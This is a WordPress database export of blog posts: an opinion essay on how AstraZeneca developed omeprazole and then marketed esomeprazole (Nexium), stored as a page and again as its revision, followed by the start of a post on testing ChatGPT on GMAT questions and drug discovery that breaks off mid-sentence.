billion from Nexium until it went off patent in 2015. Or, in other words, twice the amount they made from omeprazole with way less development work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this wouldn’t have been so bad if Nexium was a good drug. But it’s not. It’s really just a more potent form of omeprazole, and it’s not even that much more potent. This is why AstraZeneca had to stack the deck and compare 40 mg of esomeprazole vs. 20 mg of omeprazole. When one compares 40 mg to 40 mg,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1023/a:1015009300955\">they’re much more similar in potency</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, I can’t reiterate this enough, there’s literally nothing stopping anyone from just taking more omeprazole if they feel like it’s not working. It’s basically impossible to overdose on it, unless you take it for a long enough time that your stomach acid stops doing its job (which is the same problem you’d have if you took esomeprazole for a long time).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When you look at the numbers, you understand why AstraZeneca did what they did. They got to benefit from all of the good parts about drug repurposing that I’ve taken advantage of in&nbsp;<a href=\"http://highwaypharm.com/\">my own repurposing effort</a>: the previously existing manufacturing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-4-88012534\">4</a>, the safety data, the clues about efficacy. But, at the same time, they got to pretend they weren’t doing drug repurposing. So, doctors didn’t think they could still prescribe omeprazole for this condition, and patients didn’t think they could still take it. Instead, doctors and patients thought they needed AstraZeneca’s new, hot drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, still, what a narrowing of ambition. Creating the most effective gastric acid inhibitor from scratch is a good goal for a drug. It might not be curing cancer, but it’s a good goal. Persevering through so many potentially program-ending events is inspiring to any pharmaceutical company, big or small. Finally, getting omeprazole out there and making so much money off of it feels like a worthy reward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, turning around and using patent lawsuits, bullshit studies, and aggressive marketing to make almost twice as much as you did when you used good science? Well, that’s just depressing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have hopes that America’s pharmaceutical industry is turning a corner. Next generation blockbusters like Keytruda and Humira are legitimately cool, even if they’re plagued by&nbsp;<a href=\"https://www.reuters.com/legal/litigation/abbvie-wins-appeal-antitrust-case-over-humira-patent-thicket-2022-08-02/\">their own patent shenanigans</a>. Even drugs like semaglutide, which seem straightforward enough, have some&nbsp;<a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">very impressive chemistry in their development stories</a>. This isn’t even to mention the crop of interesting startups that are trying to make their own mark in the pharmaceutical world, both big (Moderna) and small (Highway Pharm!).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hopefully, we’ll look back at the era that produced Nexium as an anomaly, a time in which we ran out of good science and used bullshit as a substitute. I just wish that there was a better moral to it than, “Don’t do bad science or else you’ll make $50+ billion in sales.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-1-88012534\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This account of the invention of omeprazole is taken from AstraZeneca’s&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1038/nrd1010\">own published account</a>&nbsp;in Nature Drug Discovery. There are a ton of interesting chemistry details in there if you care to read their actual account.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-2-88012534\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t actually understand this leap in logic, but it’s what they say they realized. The closest I can get to understanding it is that Hashimoto thyroiditis, a thyroid autoimmune disease, often also involves anti-parietal cell antibodies, which are the acid-secreting glands in the stomach. I don’t know how you jump from that to “anti-thyroid antibodies necessarily means that it inhibits the final step in gastric acid production in the parietal glands”, as that almost seems like a logical fallacy.&nbsp;But hey, I’m not the guy that invented omeprazole, so what do I know</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-3-88012534\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve talked about this&nbsp;<a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\">a few times</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-4-88012534\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People who have never had to manufacture things are often shocked at how difficult and expensive manufacturing things is. You can see this when software companies move into making devices, and all of a sudden they have to worry about stuff like supply chains and logistics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Manufacturing pharmaceuticals is especially tough. For a new chemical entity, you have to figure out how to: make a new drug, scale it up from something that one PhD working in a lab can do to something that 1000 workers in a factory can do, keep it stable for up to two years, and get all the materials in the right places at the right time. All the while the FDA is breathing down your neck and ready to shut you down if you mess up a step. Knowing a drug is already manufacturable is a big deal.</p>\n<!-- /wp:paragraph -->','Prilosec, Nexium, and the narrowing of American pharmaceutical ambition','','publish','closed','closed','','prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition','','','2023-01-18 16:56:45','2023-01-18 16:56:45','',0,'https://trevorklee.com/?page_id=332',0,'page','',0);
INSERT INTO `wp4v_posts` VALUES
(333,1,'2023-01-18 16:56:45','2023-01-18 16:56:45','<!-- wp:paragraph -->\n<p>I frequently have a sense that mid-century America thought about risk-taking and innovation very differently than we do today. Big institutions in America seemed willing to take big risks on the chance that they’d have big successes in a way that’s unthinkable today.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, it’s hard to imagine an equivalent to the Interstate Highway Program, the National Space Program, or even Bell Labs being started today. It seems guaranteed they’d be caught up in politics, laden with additional pork, and ultimately whittled down to something far less ambitious way before they got out of the gate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This narrowing of ambition seems to be almost universal across big American organizations and industries, with only a few exceptions. While we still see innovation from startups, big companies seem content to rest on their laurels and buy or license innovations from others.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you might imagine, I’ve been thinking about this recently especially in the context of pharmaceuticals, my own industry. These days, big pharma tends to wait for startups to make and de-risk a scientific innovation, then license or “co-develop” it. Big pharma’s innovations today tend to be much more on the marketing, distribution, and regulatory side.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fef9f9ed3-eedf-46de-a5e1-5e52e0e5745a_1200x630.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fef9f9ed3-eedf-46de-a5e1-5e52e0e5745a_1200x630.jpeg\" alt=\"Big Pharma delivers counteroffer to Trump\'s drug pricing order, but details  remain scarce\" title=\"Big Pharma delivers counteroffer to Trump\'s drug pricing order, but details  remain scarce\"/></a><figcaption class=\"wp-element-caption\">It’s really hard to pick, but this might be my favorite of the “big pharma” stock images.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I recently came across an interesting story in the vein of narrowed ambition regarding the development of omeprazole and its sequel esomeprazole, which you might know better as Prilosec and Nexium. Now, I’d argue that omeprazole is one of the most important drugs in the healthcare system. It is the original proton pump inhibitor and still the eighth most commonly prescribed drug in the US healthcare system. Its effectiveness at treating acid reflux and peptic ulcers means that pretty much everyone ends up using it sooner or later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I’ll discuss later, I feel very differently about esomeprazole, which (spoiler alert!), I think is a shameless money-grab that only exists to fill the pockets of big pharma. Its very existence embodies the narrowed ambition and pursuit of profits over science of modern big pharma. But more on that later. First, omeprazole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The complexity of the saga of omeprazole’s development fits its importance. Omeprazole was very difficult and expensive to develop. AstraZeneca, the developer of omeprazole, started researching gastric acid inhibition in the late 1960s</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-1-88012534\">1</a>. They were successful in rats, but could not find a compound that worked in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the early 70s, they restarted their search, this time with dogs instead of rats. They ended up finding a compound which worked in dogs but was toxic to humans, so they had to modify it to make it less toxic. Unfortunately, that then made the compound too similar to a Hungarian anti-tuberculosis drug, so AstraZeneca’s scientists focused their work on a metabolite of the compound instead that was not covered by the patent. Fortunately, this metabolite turned out to be even better at gastric acid inhibition than the original compound. It was dubbed timoprazole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, again, there were toxicological issues. Long-term toxicological studies indicated that timoprazole caused thyroid enlargement. So, it needed to be modified again to avoid the thyroid issues. This time around, the AstraZeneca researchers ended up with a compound they called picoprazole. They almost ran into another toxicological issue after this, when tests of picoprazole seemed to cause necrotizing vasculitis in dogs. But, after further research, this necrotizing vasculitis was discovered that this was actually a side effect of the deworming that the lab dogs went through, so picoprazole was deemed probably safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While these toxicological studies were going on, other AstraZeneca scientists were still looking at timoprazole. Research on acid-secreting glands of guinea pigs (later mice and then humans) revealed that timoprazole did not just affect the stomach, but the thyroid as well, tying into the toxicological studies from before. They realized that timoprazole inhibited the H+K+-ATPase proton pump that was the final step of gastric acid secretion</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-2-88012534\">2</a>. They combined their toxicological knowledge from before with their new discovery to come up with a compound that would accumulate in the parietal cells. This was omeprazole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Omeprazole entered human trials in 1982, a full decade and a half after studies initially began. But, this was not the end of the story. After human trials began, yet another long-term toxicological study showed that high-dose omeprazole caused endocrine tumors in the stomach of rats. So human trials were halted in 1984. Eventually, they figured out that this was not actually a direct result of omeprazole, but only of halting gastric acid secretion, because the same thing happened in rats who received high doses of other gastric acid inhibitors and rats who were surgically altered to have no gastric acid secretion. So, omeprazole was allowed to resume human studies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, following a comparative study in which omeprazole was put head-to-head against ranitidine, an H2 receptor antagonist (as opposed to omeprazole, which is a proton pump inhibitor), in acid reflux patients and had twice as high healing rates, omeprazole was approved in 1988 in Europe, and in 1989 in the US. From 1988 to 2001, when it went off patent, it generated $26 billion in revenue, making it one of the top selling drugs of all time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that was the story of omeprazole. From conception to release, it took two decades and untold amounts of effort and money. There were at least 4 separate times where it looked like AstraZeneca’s plan of coming up with a gastric acid inhibitor would come to an end, and, at any of those points, the leadership of AstraZeneca could have very easily cut their losses. But they didn’t, and they reaped huge rewards for their monumental efforts. And the public did too, given that they were able to get access to a very effective treatment for heartburn and ulcers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s compare that to the story of esomeprazole, which you might know better as Nexium. Esomeprazole is pretty much AstraZeneca’s sequel to omeprazole. Specifically, it’s the one of the optical isomers of omeprazole. Its story is a lot less impressive than omeprazole. But, before we can get into that, we’ll need some background on what an optical isomer is first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An optical isomer is another name for an enantiomer of a drug, or a “handed” version of a drug. For those of you who don’t remember chemistry class (or never took it), handedness is a property of some molecules in which they can exist in two possible configurations, right or left. These are similar to right and left hands, in that they can’t be superimposed on each other by rotating. Or, if you want to think about it another way, there’s no way to make a left glove fit a right hand, no matter how much you flip the glove around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ffeddbf-652a-4e90-8728-1bac48dc55bd_580x205.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ffeddbf-652a-4e90-8728-1bac48dc55bd_580x205.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">From Wikipedia: “(<em>S</em>)-Alanine (left) and (<em>R</em>)-alanine (right) in zwitterionic form at neutral pH”. Note how you can’t flip these around to make them match each other.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In the body, enzymes, which make reactions happen on biologically relevant timescales, are traditionally understood to work on a lock and key method. As you might imagine, a right-handed key will fit differently to a lock than a left-handed key. So, a pharmaceutical will fit an enzyme more or less well depending on whether it’s the right-handed version of the pharmaceutical or the left-handed version.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s where a drug like esomeprazole comes in. When you manufacture a drug with a stereocenter (the part of a molecule that the handedness centers around), you’ll naturally manufacture a “racemic mixture”, meaning an equal amount of left-handed and right-handed drug. You have to apply an extra separation step to get only left-handed or only right-handed drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if you’re a pharmaceutical company, you might think, “I bet one of those enantiomers [the technical term for just the right or left hand of a drug] is more effective than the others. Let’s apply a separation step. Then, whatever we’re left with will be the equivalent of a super effective form of the drug.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can then argue to doctors, patient, investors, and most importantly, the patent office, that your drug is, somehow, a super effective version of the drug, thus clearing that all important novel and non-obvious bar</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-3-88012534\">3</a>. This is in a nutshell what AstraZeneca did, which I’ll get to in a moment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, the story that AstraZeneca likes to tell about the invention of esomeprazole is that they were looking for a version of omeprazole that would benefit the 2-4% of the population that metabolizes omeprazole poorly because of a mutation in their liver enzymes. These people still benefit from omeprazole, but just have to take more of it more often.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While this has literally no drawback other than inconvenience on the part of the poor metabolizers, AstraZeneca thought it’d be nice if they had a more bioavailable form of omeprazole. As it turns out, after a long period of searching, the left-handed version of omeprazole is the best way to increase bioavailability (so you get more inhibition per each mg). They then figured out how to use chromatography to efficiently separate the isomers, and, voila, had the sequel to their drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To prove that this was a more effective drug, they compared&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002927000023935\">20 mg omeprazole vs. 40 mg esomeprazole in an 8 week trial of acid reflux</a>. Unsurprisingly, 40 mg esomeprazole was more effective at treating acid reflux. They were unfortunately so pressed for time that they didn’t get the chance to compare 40 mg omeprazole vs. 40 mg esomeprazole, and jumped straight into getting the drug approved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Esomeprazole was approved in 2000 and given the name Nexium. AstraZeneca immediately got to marketing it as an improved version of omeprazole, while simultaneously trying to sue anyone who was gearing up to make a generic version of omeprazole by claiming they were infringing on a manufacturing patent, regardless of whether or not that was true.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These strategies worked, as AstraZeneca was not only able to eke out 6 months additional exclusivity for omeprazole/Prilosec, a drug that made $71 million a week, but they also ended up making $50+ billion from Nexium until it went off patent in 2015. Or, in other words, twice the amount they made from omeprazole with way less development work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this wouldn’t have been so bad if Nexium was a good drug. But it’s not. It’s really just a more potent form of omeprazole, and it’s not even that much more potent. This is why AstraZeneca had to stack the deck and compare 40 mg of esomeprazole vs. 20 mg of omeprazole. When one compares 40 mg to 40 mg,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1023/a:1015009300955\">they’re much more similar in potency</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, I can’t reiterate this enough, there’s literally nothing stopping anyone from just taking more omeprazole if they feel like it’s not working. It’s basically impossible to overdose on it, unless you take it for a long enough time that your stomach acid stops doing its job (which is the same problem you’d have if you took esomeprazole for a long time).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When you look at the numbers, you understand why AstraZeneca did what they did. They got to benefit from all of the good parts about drug repurposing that I’ve taken advantage of in&nbsp;<a href=\"http://highwaypharm.com/\">my own repurposing effort</a>: the previously existing manufacturing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-4-88012534\">4</a>, the safety data, the clues about efficacy. But, at the same time, they got to pretend they weren’t doing drug repurposing. So, doctors didn’t think they could still prescribe omeprazole for this condition, and patients didn’t think they could still take it. Instead, doctors and patients thought they needed AstraZeneca’s new, hot drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, still, what a narrowing of ambition. Creating the most effective gastric acid inhibitor from scratch is a good goal for a drug. It might not be curing cancer, but it’s a good goal. Persevering through so many potentially program-ending events is inspiring to any pharmaceutical company, big or small. Finally, getting omeprazole out there and making so much money off of it feels like a worthy reward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, turning around and using patent lawsuits, bullshit studies, and aggressive marketing to make almost twice as much as you did when you used good science? Well, that’s just depressing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have hopes that America’s pharmaceutical industry is turning a corner. Next generation blockbusters like Keytruda and Humira are legitimately cool, even if they’re plagued by&nbsp;<a href=\"https://www.reuters.com/legal/litigation/abbvie-wins-appeal-antitrust-case-over-humira-patent-thicket-2022-08-02/\">their own patent shenanigans</a>. Even drugs like semaglutide, which seem straightforward enough, have some&nbsp;<a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">very impressive chemistry in their development stories</a>. This isn’t even to mention the crop of interesting startups that are trying to make their own mark in the pharmaceutical world, both big (Moderna) and small (Highway Pharm!).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hopefully, we’ll look back at the era that produced Nexium as an anomaly, a time in which we ran out of good science and used bullshit as a substitute. I just wish that there was a better moral to it than, “Don’t do bad science or else you’ll make $50+ billion in sales.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-1-88012534\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This account of the invention of omeprazole is taken from AstraZeneca’s&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1038/nrd1010\">own published account</a>&nbsp;in Nature Drug Discovery. There are a ton of interesting chemistry details in there if you care to read their actual account.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-2-88012534\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t actually understand this leap in logic, but it’s what they say they realized. The closest I can get to understanding it is that Hashimoto thyroiditis, a thyroid autoimmune disease, often also involves anti-parietal cell antibodies, which are the acid-secreting glands in the stomach. I don’t know how you jump from that to “anti-thyroid antibodies necessarily means that it inhibits the final step in gastric acid production in the parietal glands”, as that almost seems like a logical fallacy.&nbsp;But hey, I’m not the guy that invented omeprazole, so what do I know</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-3-88012534\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve talked about this&nbsp;<a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\">a few times</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-anchor-4-88012534\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People who have never had to manufacture things are often shocked at how difficult and expensive manufacturing things is. You can see this when software companies move into making devices, and all of a sudden they have to worry about stuff like supply chains and logistics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Manufacturing pharmaceuticals is especially tough. For a new chemical entity, you have to figure out how to: make a new drug, scale it up from something that one PhD working in a lab can do to something that 1000 workers in a factory can do, keep it stable for up to two years, and get all the materials in the right places at the right time. All the while the FDA is breathing down your neck and ready to shut you down if you mess up a step. Knowing a drug is already manufacturable is a big deal.</p>\n<!-- /wp:paragraph -->','Prilosec, Nexium, and the narrowing of American pharmaceutical ambition','','inherit','closed','closed','','332-revision-v1','','','2023-01-18 16:56:45','2023-01-18 16:56:45','',332,'https://trevorklee.com/?p=333',0,'revision','',0),
(334,1,'2023-01-18 16:58:03','2023-01-18 16:58:03','<!-- wp:paragraph -->\n<p>Like everyone else on Twitter, I spent last weekend playing with ChatGPT, OpenAI’s new large language model (basically, a language based AI). And, like everyone else, I was hugely impressed by its capabilities. ChatGPT understands text-based things incredibly well.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From my own line of work (well, one of them), I gave it some tricky test problems from the GMAT, specifically the sort of problems that you’d need to answer right to get a good enough score for Harvard Business School.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of these problems, ChatGPT did very well on difficult reading comprehension, not very well on difficult grammar, well on difficult logic, and somewhat well on difficult math. Overall, I’d say it could probably score around a 650-700 out of 800, which is not good enough for Harvard, but good enough for a top 40 business school. If you want to try for yourself on these questions, here’s a list of the hardest questions it got right in each category, and where it was also able to explain its answers correctly. The answers to these questions are in this footnote [1]:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Question 5 of&nbsp;<a href=\"https://gmatclub.com/forum/linda-kerber-argued-in-the-mid-1980-s-that-after-the-american-220751.html\">this reading comprehension passage</a>, question 2 of&nbsp;<a href=\"https://gmatclub.com/forum/most-attempts-by-physicists-to-send-particles-faster-than-the-speed-of-207278.html\">this reading comprehension passage</a>, question 1 of&nbsp;<a href=\"https://gmatclub.com/forum/one-proposal-for-preserving-rain-forests-is-to-promote-the-adoption-of-150116.html\">this reading comprehension passage</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. This&nbsp;<a href=\"https://gmatclub.com/forum/according-to-the-laws-of-this-nation-individuals-are-minors-until-the-294380.html\">grammar question</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. This&nbsp;<a href=\"https://gmatclub.com/forum/veterinarians-generally-derive-some-of-their-income-from-selling-sever-242306.html\">explain or resolve logic question</a>&nbsp;and&nbsp;<a href=\"https://gmatclub.com/forum/harvester-ant-colonies-live-for-fifteen-to-twenty-years-though-indivi-321886.html\">this logical inference question</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. This&nbsp;<a href=\"https://gmatclub.com/forum/the-product-of-two-negative-numbers-is-160-if-the-lesser-of-the-two-220309.html\">algebra problem</a>&nbsp;and&nbsp;<a href=\"https://gmatclub.com/forum/a-pharmaceutical-company-received-3-million-in-royalties-143985.html\">this percentages question</a>&nbsp;(note: it did much more poorly on geometry, as you might expect)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is, to be honest, pretty amazing. It’s hard to remember sometimes that there’s not a person on the other end of this. I mean, include an essay, and this could literally be a business school application. Just for fun, I’ve included one at&nbsp;<a href=\"https://docs.google.com/document/d/1UPPsP-s12MYEgDkFYMgm9pYjDDLEc2BHHge7aUyl2ck/edit?usp=sharing\">this link</a>, along with an essay that an admissions website tells me won admission to Harvard Business School. I think you’ll be able to tell which one was ChatGPT generated, but they’re not that far apart. If you want the answer as to which is AI generated, follow the footnote [2].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Beyond just simply needing to get better, the only real weakness I see in ChatGPT is that it is very convincing in its wrong answers. I’ve been teaching the GMAT for years, and even I find it disconcerting when ChatGPT confidently tells me the wrong answer is correct, and defends its reasoning with plausible logic. It’s especially disconcerting when it strongly defends its wrong answer under questioning. I have no idea if there’s a technical solution to this, but this does seem to be a serious problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, when I think of GPT’s strengths, I’d rank them in this order:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Reading comprehension</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Writing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Logic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) Math</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Explainability (i.e. the ability to explain and correct its reasoning)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, ChatGPT excels in areas where it either doesn’t matter if it’s wrong, or if it’s very easy to tell when it’s wrong. The best fit for the former are first drafts of pretty much anything as long as there’s a good editor at the end; the best fit for the latter is stuff like code, or perhaps a help desk for easily falsified instructions (like putting together IKEA furniture).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For my original business, tutoring, I actually don’t think ChatGPT is a great choice right now. It would take a disciplined student to only take the correct things that ChatGPT says and ignore the rest. Most students, after realizing ChatGPT was confidently wrong about one or two answers, would likely stop using it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s not what this essay is really about. There’s a lot of hype about using ChatGPT for drug discovery, as there always is whenever there’s a new AI advance. This essay is to put the kibosh on that, with a small caveat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few problems with trying to use ChatGPT for drug discovery. First, even if we just stick with text-based stuff, ChatGPT isn’t sophisticated enough to, say, design a phase 1 experiment. It’s really only capable of emulating the methods section of a paper, and even then it makes mistakes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The natural response to this is to just use ChatGPT for preclinical work, like target identification. This is where I’ve seen a number of AI drug development plays end up, with some sort of language about “Analyzing millions of data points to determine targets” or “Machine learning to optimize target validation”. These are appealing in theory, but, in practice, never really advance beyond what a human can get from reading the abstract of a paper.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, I could ask ChatGPT, “What is a potential target for a drug to treat obesity?” and it answers leptin, which is fair, as that’s a hormone that affects fat deposition. But, leptin’s also in the table of&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1038/clpt.2011.82\">this list from 2011</a>&nbsp;of promising drug targets for obesity, so ChatGPT didn’t add much there. Plus, since 2011, the GLP-1 agonists have done way, way better than leptin, so ChatGPT isn’t even reflecting the state of the art in 2021.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0920639b-a76c-46c0-bdd1-f2872040ce53_940x900.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0920639b-a76c-46c0-bdd1-f2872040ce53_940x900.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Other parts of drug discovery are way too important to trust to ChatGPT’s overconfidence. For example, as I discussed in my last essay, manufacturing drugs is really, really hard. There’s no way I’d ask ChatGPT for advice on manufacturing drugs because I wouldn’t be able to figure out if it was wrong until I had already invested a lot of time and 